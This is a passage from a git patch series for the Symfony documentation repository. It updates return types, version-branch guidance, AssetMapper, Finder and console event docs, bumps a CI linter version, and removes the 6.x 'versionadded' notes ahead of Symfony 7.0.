     namespace App\Logger;
 
     use Monolog\LogRecord;
+    use Monolog\Processor\ProcessorInterface;
     use Symfony\Component\HttpFoundation\Exception\SessionNotFoundException;
     use Symfony\Component\HttpFoundation\RequestStack;
 
-    class SessionRequestProcessor
+    class SessionRequestProcessor implements ProcessorInterface
     {
         public function __construct(
             private RequestStack $requestStack

From 9f017cae6f771b95dd5389483f378a9c2e7efc76 Mon Sep 17 00:00:00 2001
From: Giuseppe Petraroli <94477373+gpetraroli@users.noreply.github.com>
Date: Thu, 12 Oct 2023 13:43:06 +0200
Subject: [PATCH 3937/5766] Update migration.rst

---
 migration.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/migration.rst b/migration.rst
index 5be3ea51834..16fa43fa281 100644
--- a/migration.rst
+++ b/migration.rst
@@ -341,7 +341,7 @@ somewhat like this::
         }
 
 
-        public static function handleRequest(Request $request, Response $response, string $publicDirectory): ?string
+        public static function handleRequest(Request $request, Response $response, string $publicDirectory): void
         {
             $legacyScriptFilename = LegacyBridge::getLegacyScript($request);
 
@@ -461,7 +461,7 @@ which script to call and wrap the output in a response class::
         public function loadLegacyScript(string $requestPath, string $legacyScript): StreamedResponse
         {
             return new StreamedResponse(
-                function () use ($requestPath, $legacyScript): string {
+                function () use ($requestPath, $legacyScript): void {
                     $_SERVER['PHP_SELF'] = $requestPath;
                     $_SERVER['SCRIPT_NAME'] = $requestPath;
                     $_SERVER['SCRIPT_FILENAME'] = $legacyScript;

From 7ba88062ac76e976ac7a5053db8c7e402c64a3fe Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 13 Oct 2023 11:59:59 +0200
Subject: [PATCH 3938/5766] [Console] Dispatch `ConsoleTerminateEvent` when
 exiting on signal

---
 components/console/events.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/components/console/events.rst b/components/console/events.rst
index 598763bcb01..3897e69ad1a 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -152,6 +152,17 @@ Listeners receive a
     It is then dispatched just after the ``ConsoleEvents::ERROR`` event.
     The exit code received in this case is the exception code.
 
+    Additionally, the event is dispatched when the command is being exited on
+    a signal. You can learn more about signals in the
+    :ref:`the dedicated section <console-events_signal>`.
+
+    .. versionadded:: 6.4
+
+        The dispatching of the ``ConsoleEvents::TERMINATE`` event on exit
+        signal was introduced in Symfony 6.4.
+
+.. _console-events_signal:
+
 The ``ConsoleEvents::SIGNAL`` Event
 -----------------------------------
 

From 8171b8b50e42f9c8a1f5148eff28b23cec0b6de1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 13 Oct 2023 12:25:29 +0200
Subject: [PATCH 3939/5766] Update components/console/events.rst

---
 components/console/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index 3897e69ad1a..07e892b4f6a 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -158,7 +158,7 @@ Listeners receive a
 
     .. versionadded:: 6.4
 
-        The dispatching of the ``ConsoleEvents::TERMINATE`` event on exit
+        Dispatching the ``ConsoleEvents::TERMINATE`` event on exit
         signal was introduced in Symfony 6.4.
 
 .. _console-events_signal:

From 38c91aca1beaaa38eb08de7cbcb99525c426d93b Mon Sep 17 00:00:00 2001
From: Jesper Noordsij <45041769+jnoordsij@users.noreply.github.com>
Date: Fri, 13 Oct 2023 22:29:17 +0200
Subject: [PATCH 3940/5766] Update target branch for feature updates to 6.4

---
 contributing/code/pull_requests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 5255613c000..9f12ed93da4 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -132,7 +132,7 @@ work:
   branch (you can find them on the `Symfony releases page`_). E.g. if you
   found a bug introduced in ``v5.1.10``, you need to work on ``5.4``.
 
-* ``6.3``, if you are adding a new feature.
+* ``6.4``, if you are adding a new feature.
 
   The only exception is when a new :doc:`major Symfony version </contributing/community/releases>`
   (5.0, 6.0, etc.) comes out every two years. Because of the

From 5a7bc8e194bc01804435eb171960be7021b9c062 Mon Sep 17 00:00:00 2001
From: Alexander Grimalovsky <alexander.grimalovsky@gmail.com>
Date: Fri, 13 Oct 2023 20:00:44 +0300
Subject: [PATCH 3941/5766] [Serializer] Update reference to attribute in the
 section title

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index d56dece2d21..3a7270c252b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -441,8 +441,8 @@ Ignoring Attributes
 All attributes are included by default when serializing objects. There are two
 options to ignore some of those attributes.
 
-Option 1: Using ``@Ignore`` Annotation
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Option 1: Using ``#[Ignore]`` Attribute
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 .. configuration-block::
 

From 2b0cabbc96a12856cb021fc1c7de29e1899ec2b4 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 15 Oct 2023 18:17:13 +0200
Subject: [PATCH 3942/5766] [AssetMapper] Automatically preload CSS files if
 WebLink available

---
 frontend/asset_mapper.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index cb72e5e2460..5048c00c42e 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -677,6 +677,14 @@ same way::
     live in your ``importmap.php`` file, so their preload setting is handled
     explicitly in that file.
 
+For used CSS files, a "preload" tag will automatically be rendered onto your page
+when the :doc:`WebLink Component </web_link>` is available.
+
+.. versionadded:: 6.4
+
+    Automatic preloading of CSS files when WebLink is available was
+    introduced in Symfony 6.4.
+
 Frequently Asked Questions
 --------------------------
 

From ff291d0804fbecfa9e419b1c25fb36883cf7ab52 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 Oct 2023 08:54:17 +0200
Subject: [PATCH 3943/5766] Tweaks

---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 5048c00c42e..8e655d69570 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -677,8 +677,8 @@ same way::
     live in your ``importmap.php`` file, so their preload setting is handled
     explicitly in that file.
 
-For used CSS files, a "preload" tag will automatically be rendered onto your page
-when the :doc:`WebLink Component </web_link>` is available.
+If the :doc:`WebLink Component </web_link>` is available in your application,
+Symfony will add a ``Link`` header in the response to preload the CSS files.
 
 .. versionadded:: 6.4
 

From 1c9dc6387b28799af56af95bf859d61eff161af7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 Oct 2023 10:01:29 +0200
Subject: [PATCH 3944/5766] Fix the installation instructions of
 symfony/psr-http-message-bridge

---
 components/psr7.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/psr7.rst b/components/psr7.rst
index 04a3b9148b5..f6ad69b786b 100644
--- a/components/psr7.rst
+++ b/components/psr7.rst
@@ -10,7 +10,7 @@ Installation
 
 .. code-block:: terminal
 
-    $ composer require symfony/psr-http-message-bridge
+    $ composer require symfony/psr-http-message-bridge:^2.3
 
 .. include:: /components/require_autoload.rst.inc
 

From aaca21df263b8532a6670b81160a7e386ad03337 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 Oct 2023 12:29:06 +0200
Subject: [PATCH 3945/5766] Fix the installation command

---
 components/psr7.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/psr7.rst b/components/psr7.rst
index f6ad69b786b..04a3b9148b5 100644
--- a/components/psr7.rst
+++ b/components/psr7.rst
@@ -10,7 +10,7 @@ Installation
 
 .. code-block:: terminal
 
-    $ composer require symfony/psr-http-message-bridge:^2.3
+    $ composer require symfony/psr-http-message-bridge
 
 .. include:: /components/require_autoload.rst.inc
 

From 3094be908f743bfc66aa7b4b61316f873d901430 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 16 Oct 2023 12:48:57 +0200
Subject: [PATCH 3946/5766] Use DOCtor-RST 1.53

Leverage
* https://github.com/OskarStark/doctor-rst/pull/1542
---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index a7490527092..c3b8eac7b63 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.51.0
+                uses: docker://oskarstark/doctor-rst:1.53.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From dbe5395a6097ae0be673abb854d06fb3c254fb64 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 16 Oct 2023 13:30:39 +0200
Subject: [PATCH 3947/5766] Rename README file

---
 README.markdown => README.md | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 rename README.markdown => README.md (100%)

diff --git a/README.markdown b/README.md
similarity index 100%
rename from README.markdown
rename to README.md

From c1c6596ba13dbad0d54bf470ec4022873a81796a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 Oct 2023 13:44:48 +0200
Subject: [PATCH 3948/5766] Tweaks

---
 components/finder.rst | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/components/finder.rst b/components/finder.rst
index 9f8d5860f9c..500b8bb5e89 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -329,11 +329,17 @@ it is called with the file as a :class:`Symfony\\Component\\Finder\\SplFileInfo`
 instance. The file is excluded from the result set if the Closure returns
 ``false``.
 
+The ``filter()`` method includes a second optional argument to prune directories.
+If set to ``true``, this method completely skips the excluded directories instead
+of traversing the entire file/directory structure and excluding them later. When
+using a closure, return ``false`` for the directories which you want to prune.
+
+Pruning directories early can improve performance significantly depending on the
+file/directory hierarchy complexity and the number of excluded directories.
+
 .. versionadded:: 6.4
 
-Since Symfony 6.4, a filter can prune directories early, pass ``true`` as the second
-parameter for the ``filter()`` method and when the Closure returns ``false`` the deeper
-levels will not be traversed.
+    The feature to prune directories was introduced in Symfony 6.4.
 
 Sorting Results
 ---------------

From bbd1d8e092c672be67ea75f3f346cd126c5a9de4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 16 Oct 2023 10:47:57 +0200
Subject: [PATCH 3949/5766] Remove all 6.x `versionadded` on 7.0

---
 .doctor-rst.yaml                              |  8 +-
 bundles.rst                                   |  5 --
 bundles/configuration.rst                     |  4 -
 bundles/extension.rst                         |  4 -
 bundles/prepend_extension.rst                 |  4 -
 cache.rst                                     | 12 ---
 components/browser_kit.rst                    |  8 --
 components/cache/adapters/redis_adapter.rst   |  8 --
 components/clock.rst                          | 32 -------
 components/config/definition.rst              |  5 --
 components/console/events.rst                 | 15 ----
 .../console/helpers/formatterhelper.rst       |  4 -
 components/console/helpers/progressbar.rst    |  8 --
 components/console/helpers/table.rst          |  4 -
 components/css_selector.rst                   |  4 -
 .../dependency_injection/compilation.rst      |  4 -
 components/dom_crawler.rst                    | 14 ---
 components/expression_language.rst            |  4 -
 components/finder.rst                         |  5 --
 components/http_foundation.rst                | 34 +------
 components/http_kernel.rst                    | 11 ---
 components/intl.rst                           | 12 ---
 components/lock.rst                           |  9 --
 components/options_resolver.rst               |  4 -
 components/phpunit_bridge.rst                 | 16 ----
 components/process.rst                        |  4 -
 components/property_access.rst                |  9 --
 components/property_info.rst                  |  6 --
 components/serializer.rst                     | 26 ------
 components/string.rst                         |  8 --
 components/uid.rst                            | 20 -----
 components/validator/resources.rst            |  5 --
 components/var_dumper.rst                     |  4 -
 components/var_exporter.rst                   | 13 ---
 components/yaml.rst                           |  8 --
 configuration.rst                             | 20 -----
 configuration/env_var_processors.rst          | 12 ---
 configuration/micro_kernel_trait.rst          |  8 --
 console.rst                                   | 12 ---
 console/coloring.rst                          |  4 -
 console/input.rst                             |  6 --
 console/style.rst                             |  8 --
 contributing/documentation/format.rst         | 20 ++---
 controller.rst                                | 32 -------
 controller/value_resolver.rst                 | 42 ---------
 doctrine.rst                                  |  9 --
 form/unit_testing.rst                         |  5 --
 frontend/asset_mapper.rst                     | 21 -----
 html_sanitizer.rst                            |  4 -
 http_cache.rst                                |  4 -
 http_cache/esi.rst                            |  4 -
 http_client.rst                               | 46 ----------
 lock.rst                                      |  5 --
 mailer.rst                                    | 79 -----------------
 messenger.rst                                 | 88 -------------------
 notifier.rst                                  | 57 ------------
 performance.rst                               |  4 -
 profiler.rst                                  |  8 --
 rate_limiter.rst                              | 10 ---
 reference/configuration/debug.rst             |  4 -
 reference/configuration/framework.rst         | 48 ----------
 reference/configuration/kernel.rst            |  5 --
 reference/configuration/security.rst          | 16 ----
 reference/configuration/twig.rst              | 13 ---
 reference/constraints/Cascade.rst             |  4 -
 reference/constraints/Choice.rst              |  4 -
 reference/constraints/Email.rst               |  4 -
 reference/constraints/Expression.rst          | 12 ---
 reference/constraints/File.rst                | 16 ----
 reference/constraints/Length.rst              | 16 ----
 .../constraints/NoSuspiciousCharacters.rst    |  4 -
 reference/constraints/PasswordStrength.rst    |  4 -
 reference/constraints/Regex.rst               |  4 -
 reference/constraints/Time.rst                |  4 -
 reference/constraints/Type.rst                |  4 -
 reference/constraints/Unique.rst              |  4 -
 reference/constraints/UniqueEntity.rst        |  5 --
 reference/constraints/Uuid.rst                |  9 --
 reference/constraints/When.rst                |  8 --
 reference/dic_tags.rst                        |  7 --
 reference/formats/expression_language.rst     | 18 ----
 reference/formats/yaml.rst                    |  4 -
 reference/forms/types/collection.rst          |  4 -
 reference/forms/types/enum.rst                |  4 -
 reference/forms/types/number.rst              |  4 -
 .../forms/types/options/choice_label.rst.inc  |  6 --
 .../duplicate_preferred_choices.rst.inc       |  4 -
 reference/forms/types/options/help.rst.inc    |  5 --
 .../types/options/placeholder_attr.rst.inc    |  4 -
 .../forms/types/options/sanitize_html.rst.inc |  4 -
 .../forms/types/options/sanitizer.rst.inc     |  4 -
 reference/forms/types/password.rst            |  4 -
 reference/twig_reference.rst                  | 12 ---
 routing.rst                                   | 38 --------
 routing/custom_route_loader.rst               |  9 --
 security.rst                                  | 60 -------------
 security/access_control.rst                   |  8 --
 security/access_token.rst                     |  8 --
 security/expressions.rst                      |  4 -
 security/impersonating_user.rst               |  4 -
 security/login_link.rst                       |  4 -
 security/remember_me.rst                      |  4 -
 security/user_checkers.rst                    |  4 -
 security/voters.rst                           |  4 -
 serializer.rst                                | 26 ------
 serializer/custom_context_builders.rst        |  4 -
 service_container.rst                         | 14 ---
 service_container/alias_private.rst           |  4 -
 service_container/autowiring.rst              | 18 ----
 service_container/debug.rst                   |  6 +-
 service_container/expression_language.rst     |  8 --
 service_container/factories.rst               |  8 --
 service_container/lazy_services.rst           | 10 ---
 service_container/service_decoration.rst      |  4 -
 .../service_subscribers_locators.rst          | 20 -----
 service_container/tags.rst                    | 13 ---
 templates.rst                                 | 28 ------
 testing.rst                                   | 38 --------
 translation.rst                               | 29 ------
 validation.rst                                |  4 -
 validation/custom_constraint.rst              |  4 -
 workflow.rst                                  | 24 -----
 workflow/workflow-and-state-machine.rst       |  4 -
 123 files changed, 18 insertions(+), 1516 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index ee1713d3100..f309ce1d49d 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -68,16 +68,16 @@ rules:
 
     #   master
     versionadded_directive_major_version:
-        major_version: 6
+        major_version: 7
 
     versionadded_directive_min_version:
-        min_version: '6.0'
+        min_version: '7.0'
 
     deprecated_directive_major_version:
-        major_version: 6
+        major_version: 7
 
     deprecated_directive_min_version:
-        min_version: '6.0'
+        min_version: '7.0'
 
 exclude_rule_for_file:
     - path: configuration/multiple_kernels.rst
diff --git a/bundles.rst b/bundles.rst
index 19dd8c31aa8..50ffc39d156 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -56,11 +56,6 @@ Start by creating a new class called ``AcmeTestBundle``::
     {
     }
 
-.. versionadded:: 6.1
-
-    The :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` was
-    introduced in Symfony 6.1.
-
 .. caution::
 
     If your bundle must be compatible with previous Symfony versions you have to
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 4a2224429ed..a6a21023de6 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -320,10 +320,6 @@ In your extension, you can load this and dynamically set its arguments::
 Using the AbstractBundle Class
 ------------------------------
 
-.. versionadded:: 6.1
-
-    The ``AbstractBundle`` class was introduced in Symfony 6.1.
-
 As an alternative, instead of creating an extension and configuration class as
 shown in the previous section, you can also extend
 :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` to add this
diff --git a/bundles/extension.rst b/bundles/extension.rst
index ff873f2ab14..3c660251403 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -111,10 +111,6 @@ To read more about it, see the ":doc:`/bundles/configuration`" article.
 Loading Services directly in your Bundle class
 ----------------------------------------------
 
-.. versionadded:: 6.1
-
-    The ``AbstractBundle`` class was introduced in Symfony 6.1.
-
 Alternatively, you can define and load services configuration directly in a
 bundle class instead of creating a specific ``Extension`` class. You can do
 this by extending from :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index fcad249124e..bed3d06da43 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -154,10 +154,6 @@ registered and the ``entity_manager_name`` setting for ``acme_hello`` is set to
 Prepending Extension in the Bundle Class
 ----------------------------------------
 
-.. versionadded:: 6.1
-
-    The ``AbstractBundle`` class was introduced in Symfony 6.1.
-
 You can also append or prepend extension configuration directly in your
 Bundle class if you extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
 class and define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::prependExtension`
diff --git a/cache.rst b/cache.rst
index 7bf72bf2608..3d247c4a1bb 100644
--- a/cache.rst
+++ b/cache.rst
@@ -745,20 +745,12 @@ Clear all cache pools:
 
     $ php bin/console cache:pool:clear --all
 
-.. versionadded:: 6.3
-
-    The ``--all`` option was introduced in Symfony 6.3.
-
 Clear all cache pools except some:
 
 .. code-block:: terminal
 
     $ php bin/console cache:pool:clear --all --exclude=my_cache_pool --exclude=another_cache_pool
 
-.. versionadded:: 6.4
-
-    The ``--exclude`` option was introduced in Symfony 6.4.
-
 Clear all caches everywhere:
 
 .. code-block:: terminal
@@ -767,10 +759,6 @@ Clear all caches everywhere:
 
 Clear cache by tag(s):
 
-.. versionadded:: 6.1
-
-    The ``cache:pool:invalidate-tags`` command was introduced in Symfony 6.1.
-
 .. code-block:: terminal
 
     # invalidate tag1 from all taggable pools
diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index c744837d7b1..bcb8f7b3c8e 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -130,10 +130,6 @@ on a link::
     // ... and `clickLink()`
     $crawler = $client->clickLink('Go elsewhere...', ['X-Custom-Header' => 'Some data']);
 
-.. versionadded:: 6.4
-
-    The ``serverParameters`` parameter was introduced in Symfony 6.4.
-
 Submitting Forms
 ~~~~~~~~~~~~~~~~
 
@@ -403,10 +399,6 @@ to call ``json_decode()`` explicitly::
     $response = $browser->getResponse()->toArray();
     // $response is a PHP array of the decoded JSON contents
 
-.. versionadded:: 6.1
-
-    The ``toArray()`` method was introduced in Symfony 6.1.
-
 Learn more
 ----------
 
diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 02523dd283e..a25b1a510ed 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -41,10 +41,6 @@ as the second and third parameters::
         $defaultLifetime = 0
     );
 
-.. versionadded:: 6.3
-
-    Support for `Relay`_ was introduced in Symfony 6.3.
-
 Configure the Connection
 ------------------------
 
@@ -163,10 +159,6 @@ array of ``key => value`` pairs representing option names and their respective v
 Available Options
 ~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.3
-
-    ``\Relay\Relay`` support was introduced in Symfony 6.3.
-
 ``class`` (type: ``string``, default: ``null``)
     Specifies the connection library to return, either ``\Redis``, ``\Relay\Relay`` or ``\Predis\Client``.
     If none is specified, fallback value is in following order, depending which one is available first:
diff --git a/components/clock.rst b/components/clock.rst
index f58124c70af..b803c78e29d 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -1,10 +1,6 @@
 The Clock Component
 ===================
 
-.. versionadded:: 6.2
-
-    The Clock component was introduced in Symfony 6.2
-
 The Clock component decouples applications from the system clock. This allows
 you to fix time to improve testability of time-sensitive logic.
 
@@ -79,16 +75,6 @@ When using the Clock component, you manipulate
 :class:`Symfony\\Component\\Clock\\DatePoint` instances. You can learn more
 about it in :ref:`the dedicated section <clock_date-point>`.
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\Clock\\Clock` class and ``now()`` function
-    were introduced in Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The ``modifier`` argument of the ``now()`` function was introduced in
-    Symfony 6.4.
-
 Available Clocks Implementations
 --------------------------------
 
@@ -208,10 +194,6 @@ you can set the current time arbitrarily without having to change your service c
 This will help you test every case of your method without the need of actually
 being in a month or another.
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\Clock\\ClockAwareTrait` was introduced in Symfony 6.3.
-
 .. _clock_date-point:
 
 The ``DatePoint`` Class
@@ -253,11 +235,6 @@ The constructor also allows setting a timezone or custom referenced date::
     error handling across versions of PHP, thanks to polyfilling `PHP 8.3's behavior`_
     on the topic.
 
-.. versionadded:: 6.4
-
-    The :class:`Symfony\\Component\\Clock\\DatePoint` class was introduced
-    in Symfony 6.4.
-
 .. _clock_writing-tests:
 
 Writing Time-Sensitive Tests
@@ -314,10 +291,6 @@ By combining the :class:`Symfony\\Component\\Clock\\ClockAwareTrait` and
 :class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait`, you have full
 control on your time-sensitive code's behavior.
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait` was introduced in Symfony 6.3.
-
 Exceptions Management
 ---------------------
 
@@ -338,11 +311,6 @@ These exceptions are available starting from PHP 8.3. However, thanks to the
 `symfony/polyfill-php83`_ dependency required by the Clock component, you can
 use them even if your project doesn't use PHP 8.3 yet.
 
-.. versionadded:: 6.4
-
-    The support for ``DateMalformedStringException`` and
-    ``DateInvalidTimeZoneException`` was introduced in Symfony 6.4.
-
 .. _`PSR-20`: https://www.php-fig.org/psr/psr-20/
 .. _`accepted by the DateTime constructor`: https://www.php.net/manual/en/datetime.formats.php
 .. _`PHP DateTime exceptions`: https://wiki.php.net/rfc/datetime-exceptions
diff --git a/components/config/definition.rst b/components/config/definition.rst
index 9c90304c578..63ebcd7cc72 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -171,11 +171,6 @@ The configuration can now be written like this::
         ->end()
     ;
 
-.. versionadded:: 6.3
-
-    The support of enum values in ``enumNode()`` was introduced
-    in Symfony 6.3.
-
 Array Nodes
 ~~~~~~~~~~~
 
diff --git a/components/console/events.rst b/components/console/events.rst
index 6356816a9b2..1476a83f37d 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -156,11 +156,6 @@ Listeners receive a
     a signal. You can learn more about signals in the
     :ref:`the dedicated section <console-events_signal>`.
 
-    .. versionadded:: 6.4
-
-        Dispatching the ``ConsoleEvents::TERMINATE`` event on exit
-        signal was introduced in Symfony 6.4.
-
 .. _console-events_signal:
 
 The ``ConsoleEvents::SIGNAL`` Event
@@ -207,11 +202,6 @@ method::
         $event->abortExit();
     });
 
-.. versionadded:: 6.3
-
-    The ``setExitCode()``, ``getExitCode()`` and ``abortExit()`` methods were introduced
-    in Symfony 6.3.
-
 .. tip::
 
     All the available signals (``SIGINT``, ``SIGQUIT``, etc.) are defined as
@@ -262,11 +252,6 @@ handle all signals e.g. to do some tasks before terminating the command.
     :method:`Symfony\\Component\\Console\\SignalRegistry\\SignalMap::getSignalName`
     method.
 
-    .. versionadded:: 6.4
-
-        The :class:`Symfony\\Component\\Console\\SignalRegistry\\SignalMap` class was
-        introduced in Symfony 6.4.
-
 .. _`reserved exit codes`: https://www.tldp.org/LDP/abs/html/exitcodes.html
 .. _`Signals`: https://en.wikipedia.org/wiki/Signal_(IPC)
 .. _`constants of the PCNTL PHP extension`: https://www.php.net/manual/en/pcntl.constants.php
diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 061b7616c8d..3beb4204622 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -132,7 +132,3 @@ precision (default ``1``) of the result::
     $formatter->truncate(125);       // 2 mins
     $formatter->truncate(125, 2);    // 2 mins, 5 secs
     $formatter->truncate(172799, 4); // 1 day, 23 hrs, 59 mins, 59 secs
-
-.. versionadded:: 6.4
-
-    The support for exact times were introduced in Symfony 6.4.
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 58f1fba37ff..a501d39fa14 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -69,10 +69,6 @@ that starting point::
     // displays the progress bar starting at 25 completed units
     $progressBar->start(null, 25);
 
-.. versionadded:: 6.2
-
-    The option to start a progress bar at a certain point was introduced in Symfony 6.2.
-
 .. tip::
 
     If your platform doesn't support ANSI codes, updates to the progress
@@ -375,10 +371,6 @@ with the ``setPlaceholderFormatter`` method::
         return $progressBar->getMaxSteps() - $progressBar->getProgress();
     });
 
-.. versionadded:: 6.3
-
-    The ``setPlaceholderFormatter()`` method was introduced in Symfony 6.3.
-
 Custom Messages
 ~~~~~~~~~~~~~~~
 
diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index fcc52e0e7a4..6d86cbc6130 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -175,10 +175,6 @@ The output of this command will be:
     | Author: Charles Dickens      |
     +------------------------------+
 
-.. versionadded:: 6.1
-
-    Support for vertical rendering was introduced in Symfony 6.1.
-
 The table style can be changed to any built-in styles via
 :method:`Symfony\\Component\\Console\\Helper\\Table::setStyle`::
 
diff --git a/components/css_selector.rst b/components/css_selector.rst
index 94561cec9bd..c09f80a3cf4 100644
--- a/components/css_selector.rst
+++ b/components/css_selector.rst
@@ -94,10 +94,6 @@ Pseudo-classes are partially supported:
   ``li:first-of-type``) but not with the ``*`` selector).
 * Supported: ``*:only-of-type``, ``*:scope``.
 
-.. versionadded:: 6.3
-
-    The support for ``*:scope`` was introduced in Symfony 6.3.
-
 Learn more
 ----------
 
diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 8fe7b0242e5..3787c686982 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -278,10 +278,6 @@ The parameter being deprecated must be set before being declared as deprecated.
 Otherwise a :class:`Symfony\\Component\\DependencyInjection\\Exception\\ParameterNotFoundException`
 exception will be thrown.
 
-.. versionadded:: 6.3
-
-    The ``ContainerBuilder::deprecateParameter()`` method was introduced in Symfony 6.3.
-
 .. note::
 
     Just registering an extension with the container is not enough to get
diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 4440a35f0ea..ac859efac91 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -229,11 +229,6 @@ Access the value of the first node of the current selection::
     // but you can get the unchanged text by passing FALSE as argument
     $text = $crawler->filterXPath('//body/p')->innerText(false);
 
-.. versionadded:: 6.3
-
-    The removal of whitespace characters by default in ``innerText()`` was
-    introduced in Symfony 6.3.
-
 Access the attribute value of the first node of the current selection::
 
     $class = $crawler->filterXPath('//body/p')->attr('class');
@@ -245,11 +240,6 @@ Access the attribute value of the first node of the current selection::
 
         $class = $crawler->filterXPath('//body/p')->attr('class', 'my-default-class');
 
-    .. versionadded:: 6.4
-
-        The possibility to specify a default value to the ``attr()`` method
-        was introduced in Symfony 6.4.
-
 Extract attribute and/or node values from the list of nodes::
 
     $attributes = $crawler
@@ -672,10 +662,6 @@ parser, set its ``useHtml5Parser`` constructor argument to ``true``::
 By doing so, the crawler will use the HTML5 parser provided by the `masterminds/html5`_
 library to parse the documents.
 
-.. versionadded:: 6.3
-
-    The ``useHtml5Parser`` argument was introduced in Symfony 6.3.
-
 Learn more
 ----------
 
diff --git a/components/expression_language.rst b/components/expression_language.rst
index a08e77b01ea..a10ad6cfe1b 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -92,10 +92,6 @@ can chain multiple coalescing operators.
 * ``foo[3] ?? 'no'``
